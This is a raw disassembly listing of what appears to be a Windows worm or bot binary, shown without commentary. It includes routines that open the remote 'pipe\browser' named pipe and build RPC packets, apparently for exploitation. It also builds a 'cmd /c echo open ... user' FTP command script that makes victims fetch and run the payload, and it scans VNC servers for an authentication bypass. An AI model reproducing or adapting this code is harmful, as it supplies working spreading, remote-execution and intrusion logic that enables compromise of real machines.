		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F09D7h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26508ACh
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26508ACh
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26E088Dh
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2670859h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2670F10h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  5Fh	; _
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 2252F4Fh, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax


loc_40E064:				; DATA XREF: Themida_:0055B054o
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
